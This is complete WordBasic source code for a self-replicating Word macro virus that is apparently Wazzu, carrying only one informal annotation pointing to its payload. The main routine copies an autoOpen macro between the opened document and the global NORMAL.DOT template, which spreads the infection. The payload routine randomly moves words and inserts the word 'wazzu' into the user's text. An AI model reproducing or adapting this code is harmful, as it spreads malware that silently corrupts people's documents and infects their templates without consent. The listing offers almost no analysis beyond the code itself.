Sub MAIN
        On Error Goto errCaught
                
        FileSummaryInfo .Update
        Dim dlg As FileSummaryInfo
        GetCurValues dlg

        fileMacro$ = dlg.Directory + "\" + dlg.FileName + ":autoOpen"
        globMacro$ = "Global:autoOpen"
        MacroFile$ = UCase$(Right$(MacroFileName$(MacroName$(0)), 10))

        If MacroFile$ = "NORMAL.DOT" Then
                MacroCopy globMacro$, fileMacro$
                FileSaveAs .Format = 1
        Else
                MacroCopy fileMacro$, globMacro$
        End If

        Payload

Goto bye
errCaught:

bye:
        On Error Goto 0

End Sub

Sub Payload
        For i = 1 To 3
                If Rnd() < 0.2 Then
                        RndWord
                        SelectCurWord
                        selWord$ = Selection$()
                        DeleteWord

                        RndWord
                        Insert selWord$ + " "
                End If
        Next

        If Rnd() < 0.25 Then
                RndWord
                Insert "wazzu "  <-------------------here's the payload
                StartOfDocument
        End If

End Sub

Sub RndWord
        FileSummaryInfo .Update
        Dim dlg As DocumentStatistics
        GetCurValues dlg

        wordNum = Int(Rnd() * Val(dlg.Words))
        StartOfDocument
        WordRight wordNum
End Sub
